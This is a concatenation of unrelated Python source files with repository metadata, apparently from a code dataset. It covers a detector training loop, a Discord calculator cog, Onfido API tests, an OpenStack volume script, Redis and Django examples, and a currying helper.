self.bbox_head.init_weights() if self.with_mask: self.mask_head.init_weights() if not self.share_roi_extractor: self.mask_roi_extractor.init_weights() def extract_feat(self, img): x = self.backbone(img) if self.with_neck: x = self.neck(x) return x def forward_train(self, img, img_meta, gt_bboxes, gt_labels, gt_bboxes_ignore=None, gt_masks=None, proposals=None): x = self.extract_feat(img) losses = dict() if self.with_rpn: rpn_outs = self.rpn_head(x) rpn_loss_inputs = rpn_outs + (gt_bboxes, img_meta, self.train_cfg.rpn) rpn_losses = self.rpn_head.loss( *rpn_loss_inputs, gt_bboxes_ignore=gt_bboxes_ignore) losses.update(rpn_losses) proposal_cfg = self.train_cfg.get('rpn_proposal', self.test_cfg.rpn) proposal_inputs = rpn_outs + (img_meta, proposal_cfg) proposal_list = self.rpn_head.get_bboxes(*proposal_inputs) else: proposal_list = proposals if self.with_bbox or self.with_mask: bbox_assigner = build_assigner(self.train_cfg.rcnn.assigner) bbox_sampler = build_sampler( self.train_cfg.rcnn.sampler, context=self) num_imgs = img.size(0) if gt_bboxes_ignore is None: gt_bboxes_ignore = [None for _ in range(num_imgs)] sampling_results = [] for i in range(num_imgs): assign_result = bbox_assigner.assign(proposal_list[i], gt_bboxes[i], gt_bboxes_ignore[i], gt_labels[i]) sampling_result = bbox_sampler.sample( assign_result, proposal_list[i], gt_bboxes[i], gt_labels[i], feats=[lvl_feat[i][None] for lvl_feat in x]) sampling_results.append(sampling_result) if self.with_bbox: rois = bbox2roi([res.bboxes for res in sampling_results]) bbox_feats = self.bbox_roi_extractor( x[:self.bbox_roi_extractor.num_inputs], rois) if self.with_shared_head: bbox_feats = self.shared_head(bbox_feats) cls_score, bbox_pred = self.bbox_head(bbox_feats) bbox_targets = self.bbox_head.get_target(sampling_results, gt_bboxes, gt_labels, self.train_cfg.rcnn) loss_bbox = self.bbox_head.loss(cls_score, bbox_pred, *bbox_targets) losses.update(loss_bbox) if self.with_mask: if not self.share_roi_extractor: pos_rois = bbox2roi( [res.pos_bboxes for res in sampling_results]) mask_feats = self.mask_roi_extractor( x[:self.mask_roi_extractor.num_inputs], pos_rois) if self.with_shared_head: mask_feats = self.shared_head(mask_feats) else: pos_inds = [] device = bbox_feats.device for res in sampling_results: pos_inds.append( torch.ones( res.pos_bboxes.shape[0], device=device, dtype=torch.uint8)) pos_inds.append( torch.zeros( res.neg_bboxes.shape[0], device=device, dtype=torch.uint8)) pos_inds = torch.cat(pos_inds) mask_feats = bbox_feats[pos_inds] mask_pred = self.mask_head(mask_feats) mask_targets = self.mask_head.get_target(sampling_results, gt_masks, self.train_cfg.rcnn) pos_labels = torch.cat( [res.pos_gt_labels for res in sampling_results]) loss_mask = self.mask_head.loss(mask_pred, mask_targets, pos_labels) losses.update(loss_mask) return losses def simple_test(self, img, img_meta, proposals=None, rescale=False): assert self.with_bbox, "Bbox head must be implemented." x = self.extract_feat(img) proposal_list = self.simple_test_rpn( x, img_meta, self.test_cfg.rpn) if proposals is None else proposals det_bboxes, det_labels = self.simple_test_bboxes( x, img_meta, proposal_list, self.test_cfg.rcnn, rescale=rescale) bbox_results = bbox2result(det_bboxes, det_labels, self.bbox_head.num_classes) if not self.with_mask: return bbox_results else: segm_results = self.simple_test_mask( x, img_meta, det_bboxes, det_labels, rescale=rescale) return bbox_results, segm_results def aug_test(self, imgs, img_metas, rescale=False): proposal_list = self.aug_test_rpn( self.extract_feats(imgs), img_metas, self.test_cfg.rpn) det_bboxes, det_labels = self.aug_test_bboxes( self.extract_feats(imgs), img_metas, proposal_list, self.test_cfg.rcnn) if rescale: _det_bboxes = det_bboxes else: _det_bboxes = det_bboxes.clone() _det_bboxes[:, :4] *= img_metas[0][0]['scale_factor'] bbox_results = bbox2result(_det_bboxes, det_labels, self.bbox_head.num_classes) if self.with_mask: segm_results = self.aug_test_mask( self.extract_feats(imgs), img_metas, det_bboxes, det_labels) return bbox_results, segm_results else: return bbox_results

true

f705116959898fd81eae2168f0c9e139ab6337b3

7,603

py

Python

cogs/calculator.py

MerciDvor/modbot

f1a11eaa8e88d297ee19ca37aacc41489c0d0350

[ "MIT" ]

11

2019-01-10T22:09:31.000Z

2021-12-14T05:26:10.000Z

cogs/calculator.py

MerciDvor/modbot

f1a11eaa8e88d297ee19ca37aacc41489c0d0350

[ "MIT" ]

5

2019-01-10T07:20:19.000Z

2021-04-22T00:57:34.000Z

cogs/calculator.py

MerciDvor/modbot

f1a11eaa8e88d297ee19ca37aacc41489c0d0350

[ "MIT" ]

34

2019-01-10T05:49:29.000Z

2022-02-11T14:04:54.000Z

from __future__ import division import discord, math, operator from discord.ext import commands from pyparsing import (Literal,CaselessLiteral,Word,Combine,Group,Optional, ZeroOrMore,Forward,nums,alphas,oneOf) __author__='Paul McGuire' __version__ = '$Revision: 0.0 $' __date__ = '$Date: 2009-03-20 $' __source__ = """http://pyparsing.wikispaces.com/file/view/fourFn.py http://pyparsing.wikispaces.com/message/view/home/15549426 """ __note__ = """ This is a re-wrap of Paul McGuire's fourFn.py as a class, so it can be used easily in other places of the code. Most of the work wad done by corpnewt, all I did was clean it and create the results in embeds. Also, the messages are deleted after, except for the correct answer. """ class NumericStringParserForPython3(object): """ Most of this code comes from the fourFn.py pyparsing example """ def pushFirst(self, strg, loc, toks): self.exprStack.append(toks[0]) def pushUMinus(self, strg, loc, toks): if toks and toks[0]=='-': self.exprStack.append('unary -') def __init__(self): """ Please use any of the following symbols: expop :: '^' multop :: '*' | '/' addop :: '+' | '-' integer :: ['+' | '-'] '0'..'9'+ """ point = Literal(".") e = CaselessLiteral("E") fnumber = Combine(Word("+-"+nums, nums) + Optional(point + Optional(Word(nums))) + Optional(e + Word("+-"+nums, nums))) ident = Word(alphas, alphas+nums+"_$") plus = Literal("+") minus = Literal("-") mult = Literal("*") div = Literal("/") lpar = Literal("(").suppress() rpar = Literal(")").suppress() addop = plus | minus multop = mult | div expop = Literal("^") pi = CaselessLiteral("PI") expr = Forward() atom = ((Optional(oneOf("- +")) + (pi|e|fnumber|ident+lpar+expr+rpar).setParseAction(self.pushFirst)) | Optional(oneOf("- +")) + Group(lpar+expr+rpar) ).setParseAction(self.pushUMinus) # by defining exponentiation as "atom [ ^ factor ]..." instead of # "atom [ ^ atom ]...", we get right-to-left exponents, instead of left-to-right # that is, 2^3^2 = 2^(3^2), not (2^3)^2. factor = Forward() factor << atom + ZeroOrMore((expop + factor).setParseAction(self.pushFirst)) term = factor + ZeroOrMore((multop + factor).setParseAction(self.pushFirst)) expr << term + ZeroOrMore((addop + term).setParseAction(self.pushFirst)) # addop_term = (addop + term).setParseAction(self.pushFirst) # general_term = term + ZeroOrMore(addop_term) | OneOrMore(addop_term) # expr << general_term self.bnf = expr # this will map operator symbols to their corresponding arithmetic operations epsilon = 1e-12 self.opn = { "+" : operator.add, "-" : operator.sub, "*" : operator.mul, "/" : operator.truediv, "^" : operator.pow } self.fn = { "sin" : math.sin, "cos" : math.cos, "tan" : math.tan, "abs" : abs, "trunc" : lambda a: int(a), "round" : round, "sgn" : lambda a: abs(a)>epsilon and cmp(a,0) or 0} def evaluateStack(self, s): op = s.pop() if op == 'unary -': return -self.evaluateStack(s) if op in "+-*/^": op2 = self.evaluateStack(s) op1 = self.evaluateStack(s) return self.opn[op](op1, op2) elif op == "PI": return math.pi # 3.1415926535 elif op == "E": return math.e # 2.718281828 elif op in self.fn: return self.fn[op](self.evaluateStack(s)) elif op[0].isalpha(): return 0 else: return float(op) def eval(self,num_string,parseAll=True): self.exprStack=[] results=self.bnf.parseString(num_string,parseAll) val=self.evaluateStack(self.exprStack[:]) return val class Calculator: # Init with the bot reference, and a reference to the settings var def __init__(self, bot): self.bot = bot self.nsp=NumericStringParserForPython3() self.user_color = discord.Colour(0xed791d) ## orange self.mod_color = discord.Colour(0x7289da) ## blurple @commands.command(description='Scientific calculator', aliases=['calculate', 'maths']) async def calc(self, ctx, *, formula = None): """ ✔ Do some math thanks to Paul McGuire's fourFn.py. """ person = ctx.message.author formula = formula.replace('x', '*').replace(' minus ', '-').replace(' plus ', '+').replace(' into ', '/') \ .replace(' sub ', '-').replace(' pi ', 'PI').replace(' divide ', '/').replace(' multiply ', '*') \ .replace(' add ', '+').replace(' div ', '/').replace(' multi ', '*').replace(' mul ', '*') \ .replace('π', 'PI').replace('÷', '/') if formula == None: # How can it calculate an empty message? Reee! msg = f'\u200BUsage: `{ctx.prefix}{ctx.invoked_with} [any maths formula]`' e = discord.Embed(color=self.user_color) e.description = msg try: await ctx.send(embed=e, delete_after=23) except discord.HTTPException: await ctx.send(msg, delete_after=23) return try: answer=self.nsp.eval(formula) except: # If there's a problem in the input, show examples msg = f'\N{THINKING FACE} wrong `{formula}` input.\n\nTry any of these:' e = discord.Embed(color=self.user_color) e.description = f'\u200B{msg}' e.add_field(name='multiply', value='`2 * 3 x 5 multiply 7`') e.add_field(name='divide', value='`91 / 5 divide 3 into 2 ÷ 4`') e.add_field(name='add', value='`1 + 4 plus 8 add 23`') e.add_field(name='substract', value='`91 - 35 minus 3 sub 12`') e.add_field(name='exponential', value="`7 ^ 5`") e.add_field(name='Supported formulas', value='```py\nround((cos(45) + (3+7^2)*2 + tan(369.18)) / π - 3)```') try: await ctx.send(embed=e, delete_after=23) except discord.HTTPException: error = f'\N{THINKING FACE} wrong `{formula}` input.\n\n ' \ f'Try any of these:```py\nround((cos(45) + (3+7^2)*2 + tan(369.18)) / π - 3)```' await ctx.send(error, delete_after=23) return # Correct input prints correct answer distance = self.bot or self.bot.message duration = f'Calculated in {distance.ws.latency * 1000:.2f} ms' success = round(answer, 2) e = discord.Embed(color=self.user_color) e.add_field(name='Input:', value=f'```py\n{formula}```', inline=True) e.add_field(name='Result:', value=f'```css\n{success}```', inline=True) e.set_footer(text=duration) try: await ctx.send(embed=e) except discord.Forbidden: # FORBIDDEN (status code: 403): Missing Permissions await ctx.send(f'```rust\n>Input: {formula}\nResult: {success}```') def setup(bot): bot.add_cog(Calculator(bot))

41.320652

123

0.544916

from __future__ import division import discord, math, operator from discord.ext import commands from pyparsing import (Literal,CaselessLiteral,Word,Combine,Group,Optional, ZeroOrMore,Forward,nums,alphas,oneOf) __author__='Paul McGuire' __version__ = '$Revision: 0.0 $' __date__ = '$Date: 2009-03-20 $' __source__ = """http://pyparsing.wikispaces.com/file/view/fourFn.py http://pyparsing.wikispaces.com/message/view/home/15549426 """ __note__ = """ This is a re-wrap of Paul McGuire's fourFn.py as a class, so it can be used easily in other places of the code. Most of the work wad done by corpnewt, all I did was clean it and create the results in embeds. Also, the messages are deleted after, except for the correct answer. """ class NumericStringParserForPython3(object): def pushFirst(self, strg, loc, toks): self.exprStack.append(toks[0]) def pushUMinus(self, strg, loc, toks): if toks and toks[0]=='-': self.exprStack.append('unary -') def __init__(self): point = Literal(".") e = CaselessLiteral("E") fnumber = Combine(Word("+-"+nums, nums) + Optional(point + Optional(Word(nums))) + Optional(e + Word("+-"+nums, nums))) ident = Word(alphas, alphas+nums+"_$") plus = Literal("+") minus = Literal("-") mult = Literal("*") div = Literal("/") lpar = Literal("(").suppress() rpar = Literal(")").suppress() addop = plus | minus multop = mult | div expop = Literal("^") pi = CaselessLiteral("PI") expr = Forward() atom = ((Optional(oneOf("- +")) + (pi|e|fnumber|ident+lpar+expr+rpar).setParseAction(self.pushFirst)) | Optional(oneOf("- +")) + Group(lpar+expr+rpar) ).setParseAction(self.pushUMinus) # by defining exponentiation as "atom [ ^ factor ]..." instead of # "atom [ ^ atom ]...", we get right-to-left exponents, instead of left-to-right # that is, 2^3^2 = 2^(3^2), not (2^3)^2. factor = Forward() factor << atom + ZeroOrMore((expop + factor).setParseAction(self.pushFirst)) term = factor + ZeroOrMore((multop + factor).setParseAction(self.pushFirst)) expr << term + ZeroOrMore((addop + term).setParseAction(self.pushFirst)) # addop_term = (addop + term).setParseAction(self.pushFirst) # general_term = term + ZeroOrMore(addop_term) | OneOrMore(addop_term) # expr << general_term self.bnf = expr # this will map operator symbols to their corresponding arithmetic operations epsilon = 1e-12 self.opn = { "+" : operator.add, "-" : operator.sub, "*" : operator.mul, "/" : operator.truediv, "^" : operator.pow } self.fn = { "sin" : math.sin, "cos" : math.cos, "tan" : math.tan, "abs" : abs, "trunc" : lambda a: int(a), "round" : round, "sgn" : lambda a: abs(a)>epsilon and cmp(a,0) or 0} def evaluateStack(self, s): op = s.pop() if op == 'unary -': return -self.evaluateStack(s) if op in "+-*/^": op2 = self.evaluateStack(s) op1 = self.evaluateStack(s) return self.opn[op](op1, op2) elif op == "PI": return math.pi # 3.1415926535 elif op == "E": return math.e # 2.718281828 elif op in self.fn: return self.fn[op](self.evaluateStack(s)) elif op[0].isalpha(): return 0 else: return float(op) def eval(self,num_string,parseAll=True): self.exprStack=[] results=self.bnf.parseString(num_string,parseAll) val=self.evaluateStack(self.exprStack[:]) return val class Calculator: # Init with the bot reference, and a reference to the settings var def __init__(self, bot): self.bot = bot self.nsp=NumericStringParserForPython3() self.user_color = discord.Colour(0xed791d) ## orange self.mod_color = discord.Colour(0x7289da) ## blurple @commands.command(description='Scientific calculator', aliases=['calculate', 'maths']) async def calc(self, ctx, *, formula = None): person = ctx.message.author formula = formula.replace('x', '*').replace(' minus ', '-').replace(' plus ', '+').replace(' into ', '/') \ .replace(' sub ', '-').replace(' pi ', 'PI').replace(' divide ', '/').replace(' multiply ', '*') \ .replace(' add ', '+').replace(' div ', '/').replace(' multi ', '*').replace(' mul ', '*') \ .replace('π', 'PI').replace('÷', '/') if formula == None: # How can it calculate an empty message? Reee! msg = f'\u200BUsage: `{ctx.prefix}{ctx.invoked_with} [any maths formula]`' e = discord.Embed(color=self.user_color) e.description = msg try: await ctx.send(embed=e, delete_after=23) except discord.HTTPException: await ctx.send(msg, delete_after=23) return try: answer=self.nsp.eval(formula) except: # If there's a problem in the input, show examples msg = f'\N{THINKING FACE} wrong `{formula}` input.\n\nTry any of these:' e = discord.Embed(color=self.user_color) e.description = f'\u200B{msg}' e.add_field(name='multiply', value='`2 * 3 x 5 multiply 7`') e.add_field(name='divide', value='`91 / 5 divide 3 into 2 ÷ 4`') e.add_field(name='add', value='`1 + 4 plus 8 add 23`') e.add_field(name='substract', value='`91 - 35 minus 3 sub 12`') e.add_field(name='exponential', value="`7 ^ 5`") e.add_field(name='Supported formulas', value='```py\nround((cos(45) + (3+7^2)*2 + tan(369.18)) / π - 3)```') try: await ctx.send(embed=e, delete_after=23) except discord.HTTPException: error = f'\N{THINKING FACE} wrong `{formula}` input.\n\n ' \ f'Try any of these:```py\nround((cos(45) + (3+7^2)*2 + tan(369.18)) / π - 3)```' await ctx.send(error, delete_after=23) return distance = self.bot or self.bot.message duration = f'Calculated in {distance.ws.latency * 1000:.2f} ms' success = round(answer, 2) e = discord.Embed(color=self.user_color) e.add_field(name='Input:', value=f'```py\n{formula}```', inline=True) e.add_field(name='Result:', value=f'```css\n{success}```', inline=True) e.set_footer(text=duration) try: await ctx.send(embed=e) except discord.Forbidden: await ctx.send(f'```rust\n>Input: {formula}\nResult: {success}```') def setup(bot): bot.add_cog(Calculator(bot))

true

f7051188a962d569b2fe5523b4fb6cc5f81e0849

1,304

py

Python

tests/test_live_photos.py

onfido/onfido-python

e779347f04dd7891987c2c915047fd039f6d7742

[ "MIT" ]

16

2020-06-30T15:35:42.000Z

2022-02-12T09:26:41.000Z

tests/test_live_photos.py

onfido/onfido-python

e779347f04dd7891987c2c915047fd039f6d7742

[ "MIT" ]

6

2020-07-06T08:56:33.000Z

2021-07-12T18:09:07.000Z

tests/test_live_photos.py

onfido/onfido-python

e779347f04dd7891987c2c915047fd039f6d7742

[ "MIT" ]

5

2020-08-18T08:12:19.000Z

2021-05-26T11:43:53.000Z

import onfido from onfido.regions import Region import io api = onfido.Api("<AN_API_TOKEN>", region=Region.EU) fake_uuid = "58a9c6d2-8661-4dbd-96dc-b9b9d344a7ce" def test_upload_photo(requests_mock): mock_upload = requests_mock.post("https://api.eu.onfido.com/v3.2/live_photos/", json=[]) sample_file = open("sample_photo.png", "rb") request_body = {"advanced_validation": "true"} api.live_photo.upload(sample_file, request_body) assert mock_upload.called is True def test_find_live_photo(requests_mock): mock_find = requests_mock.get(f"https://api.eu.onfido.com/v3.2/live_photos/{fake_uuid}", json=[]) api.live_photo.find(fake_uuid) assert mock_find.called is True def test_list_live_photos(requests_mock): mock_list = requests_mock.get(f"https://api.eu.onfido.com/v3.2/live_photos/?applicant_id={fake_uuid}", json=[]) api.live_photo.all(fake_uuid) assert mock_list.called is True def test_download_live_photo(requests_mock): mock_download = requests_mock.get(f"https://api.eu.onfido.com/v3.2/live_photos/{fake_uuid}/download", text="FAKE IMAGE BINARY", headers={"Content-type": "image/png"}) onfido_download = api.live_photo.download(fake_uuid) assert mock_download.called is True assert onfido_download.content_type == "image/png"

37.257143

170

0.751534

import onfido from onfido.regions import Region import io api = onfido.Api("<AN_API_TOKEN>", region=Region.EU) fake_uuid = "58a9c6d2-8661-4dbd-96dc-b9b9d344a7ce" def test_upload_photo(requests_mock): mock_upload = requests_mock.post("https://api.eu.onfido.com/v3.2/live_photos/", json=[]) sample_file = open("sample_photo.png", "rb") request_body = {"advanced_validation": "true"} api.live_photo.upload(sample_file, request_body) assert mock_upload.called is True def test_find_live_photo(requests_mock): mock_find = requests_mock.get(f"https://api.eu.onfido.com/v3.2/live_photos/{fake_uuid}", json=[]) api.live_photo.find(fake_uuid) assert mock_find.called is True def test_list_live_photos(requests_mock): mock_list = requests_mock.get(f"https://api.eu.onfido.com/v3.2/live_photos/?applicant_id={fake_uuid}", json=[]) api.live_photo.all(fake_uuid) assert mock_list.called is True def test_download_live_photo(requests_mock): mock_download = requests_mock.get(f"https://api.eu.onfido.com/v3.2/live_photos/{fake_uuid}/download", text="FAKE IMAGE BINARY", headers={"Content-type": "image/png"}) onfido_download = api.live_photo.download(fake_uuid) assert mock_download.called is True assert onfido_download.content_type == "image/png"

true

f705121c1bad013c291364ae04075091589dbba5

1,042

py

Python

_/chapter5-OpenStack/BlockStoreService/VolumeOperations.py

paullewallencom/hybrid-cloud-978-1-7888-3087-4

d101553fd342f420b581b87c58c7219f2b04a7c6

[ "Apache-2.0" ]

3

2018-03-27T14:34:48.000Z

2021-10-04T16:28:19.000Z

_/chapter5-OpenStack/BlockStoreService/VolumeOperations.py

paullewallencom/hybrid-cloud-978-1-7888-3087-4

d101553fd342f420b581b87c58c7219f2b04a7c6

[ "Apache-2.0" ]

null

_/chapter5-OpenStack/BlockStoreService/VolumeOperations.py

paullewallencom/hybrid-cloud-978-1-7888-3087-4

d101553fd342f420b581b87c58c7219f2b04a7c6

[ "Apache-2.0" ]

1

2021-08-27T23:51:28.000Z

#import OpenStack connection class from the SDK from openstack import connection # Create a connection object by calling the constructor and pass the security information conn = connection.Connection(auth_url="http://192.168.0.106/identity", project_name="demo", username="admin", password="manoj", user_domain_id="default", project_domain_id="default") def create_volume(conn): volume_properties = {'size':'2', 'name':'packtpub-volume-2'} volume = conn.block_store.create_volume(**volume_properties) def delete_volume(conn): volume_id = "3b064701-aaa7-418a-9df7-cad52bd549ee" conn.block_store.delete_volume(volume_id) def create_snapshot(conn): snapshot_properties = {'volume_id':'3b064701-aaa7-418a-9df7-cad52bd549ee'} snapshot = conn.block_store.create_snapshot(**snapshot_properties) def delete_snapshot(conn): snapshot_id = "91ac5916-0baa-469e-ac4e-e37b2a3880dc" conn.block_store.delete_snapshot(snapshot_id) #create_snapshot(conn) #delete_snapshot(conn) #delete_volume(conn) create_volume(conn)

29.771429

89

0.779271

from openstack import connection conn = connection.Connection(auth_url="http://192.168.0.106/identity", project_name="demo", username="admin", password="manoj", user_domain_id="default", project_domain_id="default") def create_volume(conn): volume_properties = {'size':'2', 'name':'packtpub-volume-2'} volume = conn.block_store.create_volume(**volume_properties) def delete_volume(conn): volume_id = "3b064701-aaa7-418a-9df7-cad52bd549ee" conn.block_store.delete_volume(volume_id) def create_snapshot(conn): snapshot_properties = {'volume_id':'3b064701-aaa7-418a-9df7-cad52bd549ee'} snapshot = conn.block_store.create_snapshot(**snapshot_properties) def delete_snapshot(conn): snapshot_id = "91ac5916-0baa-469e-ac4e-e37b2a3880dc" conn.block_store.delete_snapshot(snapshot_id) create_volume(conn)

true

f70513caa49442a4e72d71bac1f20f80278b0b7c

107

py

Python

{{cookiecutter.project_slug}}/src/{{cookiecutter.project_slug}}/__init__.py

JDongian/cookiecutter-pypackage

2e7c0d3a623755373560ee68fcb6a162085638c0

[ "Apache-2.0" ]

2

2019-06-12T23:29:41.000Z

2019-06-25T20:35:47.000Z

{{cookiecutter.project_slug}}/src/{{cookiecutter.project_slug}}/__init__.py

JDongian/cookiecutter-pypackage

2e7c0d3a623755373560ee68fcb6a162085638c0

[ "Apache-2.0" ]

4

2018-02-09T06:24:59.000Z

2019-01-23T06:46:11.000Z

{{cookiecutter.project_slug}}/src/{{cookiecutter.project_slug}}/__init__.py

JDongian/cookiecutter-pypackage

2e7c0d3a623755373560ee68fcb6a162085638c0

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- """Top-level package for {{ cookiecutter.project_name }}""" __version__ = '0.0.1'

21.4

59

0.616822

__version__ = '0.0.1'

true

f70513f071c9fec7e830d9232516ac75706443c6

10

py

Python

example_snippets/multimenus_snippets/Snippets/NumPy/Vectorized (universal) functions/Trigonometric and hyperbolic functions/tanh Compute hyperbolic tangent element-wise.py

kuanpern/jupyterlab-snippets-multimenus

477f51cfdbad7409eab45abe53cf774cd70f380c

[ "BSD-3-Clause" ]

null

example_snippets/multimenus_snippets/Snippets/NumPy/Vectorized (universal) functions/Trigonometric and hyperbolic functions/tanh Compute hyperbolic tangent element-wise.py

kuanpern/jupyterlab-snippets-multimenus

477f51cfdbad7409eab45abe53cf774cd70f380c

[ "BSD-3-Clause" ]

null

example_snippets/multimenus_snippets/Snippets/NumPy/Vectorized (universal) functions/Trigonometric and hyperbolic functions/tanh Compute hyperbolic tangent element-wise.py

kuanpern/jupyterlab-snippets-multimenus

477f51cfdbad7409eab45abe53cf774cd70f380c

[ "BSD-3-Clause" ]

1

2021-02-04T04:51:48.000Z

np.tanh(x)

10

0.7

np.tanh(x)

true

f705141e5f48b22c12903c1fa1a907b58b1375d4

366

py

Python

examples/getting_started/06_sentinel.py

emorozov/aioredis

bad0bd2d1435e56688d189cf3209beec3d239557

[ "MIT" ]

null

examples/getting_started/06_sentinel.py

emorozov/aioredis

bad0bd2d1435e56688d189cf3209beec3d239557

[ "MIT" ]

75

2020-12-09T06:53:47.000Z

2022-03-25T01:05:24.000Z

examples/getting_started/06_sentinel.py

emorozov/aioredis

bad0bd2d1435e56688d189cf3209beec3d239557

[ "MIT" ]

null

import asyncio import aioredis async def main(): sentinel = await aioredis.create_sentinel( ["redis://localhost:26379", "redis://sentinel2:26379"] ) redis = sentinel.master_for("mymaster") ok = await redis.set("key", "value") assert ok val = await redis.get("key", encoding="utf-8") assert val == "value" asyncio.run(main())

20.333333

62

0.639344

import asyncio import aioredis async def main(): sentinel = await aioredis.create_sentinel( ["redis://localhost:26379", "redis://sentinel2:26379"] ) redis = sentinel.master_for("mymaster") ok = await redis.set("key", "value") assert ok val = await redis.get("key", encoding="utf-8") assert val == "value" asyncio.run(main())

true

f705170d03d2dd066c58fc27f04b0e6e4b224eb2

1,573

py

Python

app/Resource/ImageResource.py

ansabkhaliq/backend

14bad9b44bfec6ea4ba27d1571ddcf614ff762c6

[ "MIT" ]

null

app/Resource/ImageResource.py

ansabkhaliq/backend

14bad9b44bfec6ea4ba27d1571ddcf614ff762c6

[ "MIT" ]

11

2020-09-22T11:15:09.000Z

2020-11-03T21:45:18.000Z

app/Resource/ImageResource.py

ansabkhaliq/backend

14bad9b44bfec6ea4ba27d1571ddcf614ff762c6

[ "MIT" ]

2

2020-09-21T19:20:44.000Z

2021-03-21T04:46:19.000Z

import logging from .DatabaseBase import DatabaseBase logger = logging.getLogger(__name__) logging.basicConfig(level=logging.DEBUG) class ImageResource(DatabaseBase): def __init__(self): super().__init__() def get_product_images_by_id(self, id): search_image_query = """Select * From images where productId = %s """ values = [id] image_records = self.run_query(search_image_query, values, False) return image_records def get_threed_link_by_product_id(self, pid): select_query = """ Select * from images where is3DModelType = 'Y' and productId = %s""" values = [str(pid)] records = self.run_query(select_query, values, True) if records is None: return None return records[0] def update_threed_link(self, url, id_list): update_query = """UPDATE images SET threeDModelLocation = %s WHERE productId =%s and is3DModelType = 'Y' """ for id in id_list: self.run_query(update_query, [url, id], False) def insert_threed_model(self, url, id_list): insert_query = """INSERT INTO images(threeDModelLocation, is3DModelType, productId) VALUES (%s, %s, %s)""" values = [] for id in id_list: temp = (url, 'Y', str(id)) values.append(temp) try: self.run_query_many(insert_query, values, True) except Exception as e: self.connection.rollback() logger.error('Exception occurred when inserting order', e) return 0 return 1

34.195652

117

0.633185

import logging from .DatabaseBase import DatabaseBase logger = logging.getLogger(__name__) logging.basicConfig(level=logging.DEBUG) class ImageResource(DatabaseBase): def __init__(self): super().__init__() def get_product_images_by_id(self, id): search_image_query = """Select * From images where productId = %s """ values = [id] image_records = self.run_query(search_image_query, values, False) return image_records def get_threed_link_by_product_id(self, pid): select_query = """ Select * from images where is3DModelType = 'Y' and productId = %s""" values = [str(pid)] records = self.run_query(select_query, values, True) if records is None: return None return records[0] def update_threed_link(self, url, id_list): update_query = """UPDATE images SET threeDModelLocation = %s WHERE productId =%s and is3DModelType = 'Y' """ for id in id_list: self.run_query(update_query, [url, id], False) def insert_threed_model(self, url, id_list): insert_query = """INSERT INTO images(threeDModelLocation, is3DModelType, productId) VALUES (%s, %s, %s)""" values = [] for id in id_list: temp = (url, 'Y', str(id)) values.append(temp) try: self.run_query_many(insert_query, values, True) except Exception as e: self.connection.rollback() logger.error('Exception occurred when inserting order', e) return 0 return 1

true

f705181e0f045be38f7e9fa0b37412575523e61a

915

py

Python

weather_api/weather_api/urls.py

brian-duffy/yoyo-test

65700a0061022e326a0048695c122ea2cfb5d5fe

[ "OML" ]

null

weather_api/weather_api/urls.py

brian-duffy/yoyo-test

65700a0061022e326a0048695c122ea2cfb5d5fe

[ "OML" ]

12

2019-12-26T16:40:09.000Z

2022-03-11T23:17:44.000Z

weather_api/weather_api/urls.py

brian-duffy/yoyo-test

65700a0061022e326a0048695c122ea2cfb5d5fe

[ "OML" ]

null

"""weather_api URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/1.9/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home') Including another URLconf 1. Import the include() function: from django.conf.urls import url, include 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls')) """ from django.conf.urls import url, include from django.views.generic import RedirectView urlpatterns = [ url(r'^$', RedirectView.as_view(url='https://github.com/brian-duffy/yoyo-test/blob/master/README.md')), url(r'weather_app/', include('weather_app.urls')), ]

38.125

107

0.711475

from django.conf.urls import url, include from django.views.generic import RedirectView urlpatterns = [ url(r'^$', RedirectView.as_view(url='https://github.com/brian-duffy/yoyo-test/blob/master/README.md')), url(r'weather_app/', include('weather_app.urls')), ]

true

f705183f4fbd0db80b7cc60b42c57b39c75bdeac

2,196

py

Python

curry.py

christianscott/curry.py

2a8ef4b40853dff6b239f794fcc0e3f9a157d7ab

[ "MIT" ]

2

2020-10-02T19:04:38.000Z

2021-10-01T10:51:14.000Z

curry.py

christianscott/curry.py

2a8ef4b40853dff6b239f794fcc0e3f9a157d7ab

[ "MIT" ]

3

2019-09-09T09:41:10.000Z

2019-09-09T09:41:33.000Z

curry.py

christianscott/curry.py

2a8ef4b40853dff6b239f794fcc0e3f9a157d7ab

[ "MIT" ]

1

2021-10-01T10:51:15.000Z

"""Utility for currying functions.""" from functools import wraps from inspect import signature, isbuiltin, isclass def curry(func, args=None, kwargs=None, n=None, use_defaults=False): if use_defaults: return CurriedDefault(func, args, kwargs, n) return Curried(func, args, kwargs, n) class Curried: def __init__(self, func, args=None, kwargs=None, target_arg_count=None): if not callable(func): raise TypeError('first argument must be callable') wraps(func)(self) self.func = func self.args = or_else(args, tuple()) self.kwargs = or_else(kwargs, dict()) self.target_arg_count = or_else(target_arg_count, get_target_arg_count(func)) def __call__(self, *new_args, **new_kwargs): args = self.args + new_args kwargs = self.kwargs.copy() kwargs.update(new_kwargs) if self._have_enough_args(args, kwargs): return self.func(*args, **kwargs) return self._clone(args, kwargs) def _clone(self, args, kwargs): return Curried(self.func, args, kwargs, self.target_arg_count) def _have_enough_args(self, args, kwargs): return current_count(args, kwargs) == self.target_arg_count class CurriedDefault(Curried): def _clone(self, args, kwargs): return CurriedDefault(self.func, args, kwargs, self.target_arg_count) def _have_enough_args(self, args, kwargs): count = current_count(args, kwargs) return count == self.target_arg_count or count == (self.target_arg_count - count_defaults(self.func)) def or_else(x, default): return x if x is not None else default def current_count(next_args, next_kwargs): return len(next_args) + len(next_kwargs) def count_defaults(func): length = 0 if func.__defaults__ is not None: length += len(func.__defaults__) if func.__kwdefaults__ is not None: length += len(func.__kwdefaults__) return length def get_target_arg_count(func): if isclass(func) or isbuiltin(func): # builtins, e.g. `map`, refer to class rather than fn func = func.__call__ sig = signature(func) return len(sig.parameters)

28.519481

109

0.676685

